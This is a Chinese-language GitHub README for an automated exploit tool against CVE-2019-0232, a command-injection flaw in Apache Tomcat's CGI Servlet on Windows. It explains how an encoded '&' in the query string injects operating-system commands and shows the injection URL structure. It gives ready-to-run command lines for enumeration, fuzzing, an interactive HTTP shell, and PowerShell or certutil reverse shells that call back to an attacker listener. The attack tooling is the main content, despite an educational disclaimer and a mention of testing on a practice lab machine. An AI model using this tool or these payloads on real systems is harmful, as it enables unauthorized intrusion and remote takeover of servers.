blackjuker2/CVE-2019-0232
GitHub: blackjuker2/CVE-2019-0232
针对 Apache Tomcat CGI Servlet(CVE-2019-0232)远程代码执行漏洞的自动化利用与教育性 PoC 工具。
Stars: 0 | Forks: 0
# CVE-2019-0232 — Apache Tomcat CGI Servlet RCE
## 漏洞概述
**CVE-2019-0232** 是 Windows 平台上 Apache Tomcat 的一个远程代码执行漏洞。
当 CGI Servlet 的 `enableCmdLineArguments=true`(打补丁前在 Windows 上为默认值)时,Tomcat 会通过 `Runtime.exec()` 将 HTTP 查询字符串直接作为命令行参数传递给 CGI 批处理文件。在 Windows 上,`Runtime.exec()` 会使用 `cmd.exe /c` 包装该调用,从而使得 `&` 命令分隔符在这些参数中生效。
攻击者可以通过在 URL 中包含 `&`(URL 编码为 `%26`)来注入第二个操作系统命令:
```
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL解码 → cmd.exe /c cmd.bat &whoami
# cmd.exe 看到 & 并在 cmd.bat 退出后运行 whoami
```
### 受影响版本(仅限 Windows)
| 分支 | 受影响范围 | 修复版本 |
|--------|-----------------------|----------|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
**前提条件:** 在 `conf/web.xml` 中设置了 `enableCmdLineArguments=true`(打补丁前在 Windows 上为默认值)。
## 功能
- **Auto 模式** — 完整利用链:枚举 → 模糊测试 CGI 路径 → 交互式 shell
- **版本检测** — 从 HTTP 标头和错误页面识别 Tomcat 版本
- **CGI 路径模糊测试** — 多线程,内置字典 + 可选自定义字典 (`-w`)
- **单命令执行** — 运行一条命令并打印输出 (`--cmd`)
- **交互式 HTTP shell** — 基于 HTTP 的 REPL 循环,每条命令发起一次新请求
- **反弹 shell** — 内置 TCP 监听器;无需外部 `nc`
- PowerShell Base64 编码 payload(默认)
- `certutil` stager(备选方案)
- **PATH 注入** — 自动设置 `System32`、`Windows`、`Wbem`、`PowerShell`,使 `whoami`、`ipconfig`、`netstat`、`powershell.exe` 无需完整路径即可运行
- **stderr 合并** — 自动附加 `2>&1`,以便显示错误输出
- **Burp 代理支持** — 通过 `--proxy http://127.0.0.1:8080` 路由流量
## 安装说明
```
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
```
需要 Python 3.8+。
## 使用说明
```
python3 cve_2019_0232.py -t [options]
```
### 模式
| 标志 | 描述 |
|------|-------------|
| `--auto` | 枚举 → 模糊测试 → 进入交互式 shell |
| `--enum` | 仅枚举 Tomcat 版本和 CGI 路径 |
| `--fuzz` | 模糊测试可访问的 `.bat`/`.cmd` 端点 |
| `--cmd COMMAND` | 执行单条命令 |
| `--interactive` | 交互式 HTTP shell 循环 |
| `--reverse-shell` | 生成反弹 shell(需要 `--lhost`) |
### 示例
**Auto 模式 — 让脚本自动完成所有操作:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
```
**在已知端点上执行单条命令:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
```
**交互式 shell 循环:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
```
**全自动利用链 → 反弹 shell(无需单独的 nc):**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
```
脚本会在 `--lport` 上开启自己的 TCP 监听器,发送 PowerShell payload,并在目标回连时将您带入交互式 shell。
**在已知路径上使用 PowerShell 反弹 shell:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
```
**certutil stager(如果 PowerShell 被阻止):**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
```
**用于模糊测试的自定义字典:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
```
没有文件扩展名的条目会自动作为 `.bat` 和 `.cmd` 进行探测。
**通过 Burp Suite 路由:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
```
**在每次请求前显示原始注入 URL:**
```
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
```
### 所有选项
```
positional / required:
-t, --target URL Target base URL e.g. http://10.10.10.x:8080
path:
-p, --path PATH Known CGI script path e.g. /cgi/cmd.bat
modes:
--auto Full chain: enum → fuzz → interactive
--enum Enumerate Tomcat version and CGI paths
--fuzz Fuzz for accessible CGI script endpoints
--cmd COMMAND Run a single command and print output
--interactive Interactive command loop (HTTP shell)
--reverse-shell Send PowerShell reverse shell
reverse shell:
--lhost IP Your listener IP (use tun0 for HTB/OSCP)
--lport PORT Your listener port (default: 4444)
--shell-method {ps,certutil}
Payload type: ps (default) or certutil stager
options:
-w, --wordlist FILE Extra CGI names to fuzz (one per line)
--threads N Fuzz threads (default: 15)
--timeout N HTTP timeout in seconds (default: 10)
--proxy URL HTTP proxy e.g. http://127.0.0.1:8080
--no-ssl-verify Disable TLS certificate verification
--show-url Print the full injection URL before each request
```
## 注入原理
脚本分三步构建注入 URL:
1. **PATH 注入** — 将您的命令包装在一个预先设置 `PATH` 的组中:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.& 2>&1)
`echo.` 会输出一个空行,从而满足 Tomcat 的 CGI 标头解析器的要求,使响应正文可见。
2. **URL 编码** — 通过 `urllib.parse.quote` 将空格转换为 `+`,将特殊字符转换为 `%XX`。
3. **注入点** — 编码后的组被放置在 `%26`(即 `&` 分隔符)之后:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
## 测试环境
- 运行于 Windows Server 2019 的 Apache Tomcat 9.0.17 (HackTheBox — Catalina)
- 运行于 Kali Linux 的 Python 3.11 / 3.12
## 参考文献
- [NVD — CVE-2019-0232](https://nvd.nist.gov/vuln/detail/CVE-2019-0232)
- [Apache 安全公告](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.18)
- [Exploit-DB #47073](https://www.exploit-db.com/exploits/47073)
## 法律免责声明
本工具仅供**教育目的和授权的安全测试**使用。
作者不对因使用此工具而造成的任何滥用或损害负责。
在对任何系统进行测试之前,请务必获得明确的书面许可。
标签:AI合规, CISA项目, OpenCanary, 命令注入, 数据展示, 红队, 逆向工具